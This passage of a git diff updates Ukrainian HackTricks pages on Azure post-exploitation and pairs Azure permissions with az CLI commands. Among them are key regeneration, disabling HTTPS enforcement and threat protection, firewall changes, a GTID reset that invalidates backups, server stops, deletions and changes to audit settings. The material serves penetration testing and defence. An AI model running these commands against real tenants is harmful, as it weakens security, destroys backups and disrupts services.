-{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" -З цією дозволом ви можете створювати або змінювати SQL бази даних в обліковому записі Azure Cosmos DB. Це дозволяє керувати структурою бази даних та додавати нові бази даних до облікового запису. Хоча цей дозвіл дозволяє створення бази даних, неналежне або несанкціоноване використання може призвести до непотрібного споживання ресурсів, збільшення витрат або операційних неефективностей. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` +З цією дозволом ви можете створювати або змінювати SQL бази даних в обліковому записі Azure Cosmos DB. Це дозволяє керувати структурою бази даних і додавати нові бази даних до облікового запису. Хоча цей дозвіл дозволяє створення бази даних, неналежне або несанкціоноване використання може призвести до непотрібного споживання ресурсів, збільшення витрат або операційних неефективностей. ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` З цією дозволом ви можете змінити пріоритет відмови регіонів для облікового запису бази даних Azure Cosmos DB. Ця дія визначає порядок, у якому регіони стають основними під час події відмови. Неправильне використання цього дозволу може порушити високу доступність бази даних або призвести до непередбачуваних операційних наслідків. - -{% code overflow="wrap" %} ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" -З цією дозволом ви можете відновити первинні або вторинні ключі для облікового запису Azure Cosmos DB. Це зазвичай використовується для підвищення безпеки шляхом заміни старих ключів, але це може порушити доступ для служб або додатків, які покладаються на поточні ключі. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` +З цією дозволом ви можете регенерувати основні або вторинні ключі для облікового запису Azure Cosmos DB. Це зазвичай використовується для підвищення безпеки шляхом заміни старих ключів, але це може порушити доступ для служб або додатків, які покладаються на поточні ключі. ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` З цією дозволом ви можете створювати або змінювати тригери в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Тригери дозволяють виконувати логіку на стороні сервера у відповідь на операції. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` З цією дозволом ви можете створювати або змінювати збережені процедури в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Збережені процедури в Cosmos DB - це серверні JavaScript функції, які дозволяють вам інкапсулювати логіку для обробки даних або виконання операцій безпосередньо в базі даних. - -{% code overflow="wrap" %} ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" -З цією дозволом ви можете створювати або змінювати тригери в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Тригери дозволяють виконувати серверну логіку у відповідь на операції, такі як вставки, оновлення або видалення. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` +З цією дозволом ви можете створювати або змінювати тригери в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Тригери дозволяють виконувати логіку на стороні сервера у відповідь на операції, такі як вставки, оновлення або видалення. ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" -З цією дозволом ви можете створювати або змінювати колекції в базах даних MongoDB в обліковому записі Azure Cosmos DB. Колекції використовуються для зберігання документів і визначення структури та розподілу даних. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` +З цією дозволом ви можете створювати або змінювати колекції в базах даних MongoDB в обліковому записі Azure Cosmos DB. Колекції використовуються для зберігання документів та визначення структури і розподілу даних. ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` З цією дозволом ви можете створювати нові бази даних MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє створювати нові бази даних для зберігання та управління колекціями та документами. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` З цією дозволом ви можете створювати нові визначення ролей MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє визначати користувацькі ролі з конкретними дозволами для користувачів MongoDB. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` З цією дозволом ви можете створювати нові визначення користувачів MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє надавати користувачам конкретні ролі та рівні доступу до баз даних MongoDB. -{% code overflow="wrap" %} ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 33ad460fb..4f202854b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -10,7 +10,7 @@ File Share Post Exploitation ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` Принципал з цим дозволом зможе **переглядати** файли всередині файлової спільноти та **завантажувати** файли, які можуть містити **чутливу інформацію**. ```bash @@ -28,7 +28,7 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` Принципал з цим дозволом зможе **записувати та перезаписувати файли у файлових спільнотах**, що може дозволити йому завдати шкоди або навіть ескалувати привілеї (наприклад, перезаписати деякий код, збережений у файловій спільноті): ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index 966d70755..50a9e2b2f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -3,16 +3,14 @@ {{#include ../../../banners/hacktricks-training.md}} ## Logic Apps Database Post Exploitation -Для отримання додаткової інформації про логічні програми перегляньте: +Для отримання додаткової інформації про логічні програми, перегляньте: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` З цими дозволами ви можете змінювати робочі процеси Logic App і керувати їхніми ідентичностями. Зокрема, ви можете призначати або видаляти системно призначені та призначені користувачем керовані ідентичності для робочих процесів, що дозволяє Logic App аутентифікуватися та отримувати доступ до інших ресурсів Azure без явних облікових даних. - -{% code overflow="wrap" %} ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" -З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусу HTTPS. - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` +З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусового використання HTTPS. ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` З цією дозволом ви можете запускати/зупиняти/перезапускати веб-додаток, включаючи Logic Apps, розміщені на App Service Plan. Ця дія забезпечує, що раніше зупинений додаток знову запускається і відновлює свою функціональність. Це може порушити робочі процеси, викликати непередбачені операції або призвести до простою, несподівано запускаючи, зупиняючи або перезапускаючи Logic Apps. - -{% code overflow="wrap" %} ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} - - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` З цією дозволом ви можете налаштовувати або змінювати параметри веб-додатків, включаючи Logic Apps, розміщені на App Service Plan. Це дозволяє вносити зміни в налаштування додатків, рядки підключення, конфігурації автентифікації та інше. - -{% code overflow="wrap" %} ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" +### `Microsoft.Logic/integrationAccounts/write` З цією дозволом ви можете створювати, оновлювати або видаляти облікові записи інтеграції Azure Logic Apps. Це включає управління конфігураціями на рівні облікового запису інтеграції, такими як карти, схеми, партнери, угоди та інше. - -{% code overflow="wrap" %} ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` З цією дозволом ви можете створювати або змінювати конфігурації пакетів у обліковому записі інтеграції Azure Logic Apps. Конфігурації пакетів визначають, як Logic Apps обробляють і групують вхідні повідомлення для пакетної обробки. - -{% code overflow="wrap" %} ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` З цією дозволом ви можете створювати або змінювати карти в обліковому записі інтеграції Azure Logic Apps. Карти використовуються для перетворення даних з одного формату в інший, що забезпечує безперебійну інтеграцію між різними системами та додатками. - -{% code overflow="wrap" %} ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" -З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють собою сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах. - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` +З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах. ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` З цією дозволом ви можете створювати або змінювати сесії в обліковому записі інтеграції Azure Logic Apps. Сесії використовуються в B2B робочих процесах для групування повідомлень та відстеження пов'язаних транзакцій протягом визначеного періоду. - -{% code overflow="wrap" %} ```bash az logic integration-account session create \ --resource-group \ @@ -147,8 +112,6 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" З цими правами ви можете видаляти ресурси, пов'язані з Azure Logic Apps diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index d9524f479..87891a7a5 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -5,54 +5,40 @@ ## MySQL Database Post Exploitation Для отримання додаткової інформації про MySQL Database перегляньте: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` З цією дозволом ви можете створювати нові бази даних у MySQL Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером. - -{% code overflow="wrap" %} ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/backups/write" +### `Microsoft.DBforMySQL/flexibleServers/backups/write` З цією дозволом ви можете ініціювати створення резервних копій для екземпляра MySQL Flexible Server на Azure. Це дозволяє користувачам генерувати резервні копії за запитом, що може бути корисним для збереження даних у конкретні моменти часу. - -{% code overflow="wrap" %} ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` З цією дозволом ви можете налаштувати або оновити параметри Advanced Threat Protection (ATP) для екземпляра MySQL Flexible Server на Azure. Це дозволяє увімкнути або вимкнути функції безпеки, призначені для виявлення та реагування на аномальні дії та потенційні загрози. - -{% code overflow="wrap" %} ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" - -З цим дозволом ви можете створювати або змінювати правила брандмауера для екземпляра MySQL Flexible Server на Azure. Це дозволяє контролювати, які IP-адреси або діапазони можуть отримати доступ до сервера. Несанкціоноване або неналежне використання цього дозволу може піддати сервер небажаному або шкідливому доступу. - -{% code overflow="wrap" %} +З цією дозволом ви можете створювати або змінювати правила брандмауера для екземпляра MySQL Flexible Server на Azure. Це дозволяє контролювати, які IP-адреси або діапазони можуть отримати доступ до сервера. Несанкціоноване або неналежне використання цього дозволу може піддати сервер небажаному або шкідливому доступу. ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" - -З цією дозволом ви можете скинути GTID (Глобальний Ідентифікатор Транзакції) для екземпляра MySQL Flexible Server на Azure. Скидання GTID зробить недійсними всі автоматизовані, за запитом резервні копії та гео-резервні копії, які були зроблені до дії скидання. Після скидання GTID ви не зможете виконати PITR (відновлення в точці часу) за допомогою найшвидшої точки відновлення або за допомогою користувацької точки відновлення, якщо вибраний час відновлення є до часу скидання GTID. І успішне гео-відновлення буде можливим лише через 5 днів. - -{% code overflow="wrap" %} +З цією дозволом ви можете скинути GTID (Глобальний Ідентифікатор Транзакції) для екземпляра MySQL Flexible Server на Azure. Скидання GTID зробить недійсними всі автоматизовані, за запитом резервні копії та гео-резервні копії, які були зроблені до дії скидання. Після скидання GTID ви не зможете виконати PITR (відновлення в точці часу) за допомогою найшвидшої точки відновлення або за допомогою користувацької точки відновлення, якщо вибраний час відновлення є до часу скидання GTID. А успішне гео-відновлення буде можливим лише через 5 днів. ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" - -З цією дозволом ви можете оновити налаштування конфігурації екземпляра MySQL Flexible Server на Azure. Це дозволяє налаштування параметрів сервера, таких як налаштування продуктивності, конфігурації безпеки або операційні налаштування. Ви можете оновити наступні параметри разом у пакетному режимі: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, і max_connections. - -{% code overflow="wrap" %} +З цією дозволом ви можете оновити налаштування конфігурації екземпляра MySQL Flexible Server на Azure. Це дозволяє налаштувати параметри сервера, такі як налаштування продуктивності, конфігурації безпеки або операційні налаштування. Ви можете оновити наступні параметри разом у пакетному режимі: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors та max_connections. ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` З цією дозволом ви можете призначити керовану ідентичність, призначену користувачем, для гнучких серверів MySQL. - -{% code overflow="wrap" %} ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/stop/action` -### "Microsoft.DBforMySQL/flexibleServers/stop/action" - -З цією дозволом ви можете зупинити екземпляр PostgreSQL Flexible Server на Azure. Зупинка сервера може призвести до тимчасового переривання обслуговування, що вплине на програми та користувачів, які залежать від бази даних. - -{% code overflow="wrap" %} +З цією дозволом ви можете зупинити екземпляр PostgreSQL Flexible Server на Azure. Зупинка сервера може призвести до тимчасового перерви в обслуговуванні, що вплине на програми та користувачів, які залежать від бази даних. ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az mysql flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index f012e3d01..e0aaf66fb 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -5,54 +5,40 @@ ## PostgreSQL Database Post Exploitation Для отримання додаткової інформації про PostgreSQL Database перегляньте: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -З цією дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером. - -{% code overflow="wrap" %} +З цим дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером. ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` З цією дозволом ви можете ініціювати створення резервних копій для екземпляра Postgres Flexible Server на Azure. Це дозволяє користувачам генерувати резервні копії за запитом, що може бути корисним для збереження даних у конкретні моменти часу. - -{% code overflow="wrap" %} ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` З цією дозволом ви можете налаштувати або оновити параметри Advanced Threat Protection (ATP) для екземпляра Postgres Flexible Server на Azure. Це дозволяє увімкнути або вимкнути функції безпеки, призначені для виявлення та реагування на аномальні дії та потенційні загрози. - -{% code overflow="wrap" %} ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` З цією дозволом ви можете створювати або змінювати правила брандмауера для екземпляра Postgres Flexible Server на Azure. Це дозволяє контролювати, які IP-адреси або діапазони можуть отримати доступ до сервера. Несанкціоноване або неналежне використання цього дозволу може піддати сервер небажаному або шкідливому доступу. - -{% code overflow="wrap" %} ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` З цією дозволом ви можете оновлювати налаштування конфігурації екземпляра Postgres Flexible Server на Azure. Це дозволяє налаштовувати параметри сервера, такі як налаштування продуктивності, конфігурації безпеки або операційні налаштування. - -{% code overflow="wrap" %} ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` З цією дозволом ви можете зупинити екземпляр PostgreSQL Flexible Server на Azure. Зупинка сервера може призвести до тимчасового перерви в обслуговуванні, що вплине на програми та користувачів, які залежать від бази даних. - -{% code overflow="wrap" %} ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index f4940adf7..b2618c515 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,7 +10,7 @@ ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` З цими дозволами зловмисник може створювати та оновлювати бази даних у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії. ```bash @@ -20,7 +20,7 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` З цими дозволами зловмисник може створювати та оновлювати elasticPools у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії. ```bash @@ -40,9 +40,9 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` -З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту в місце, що 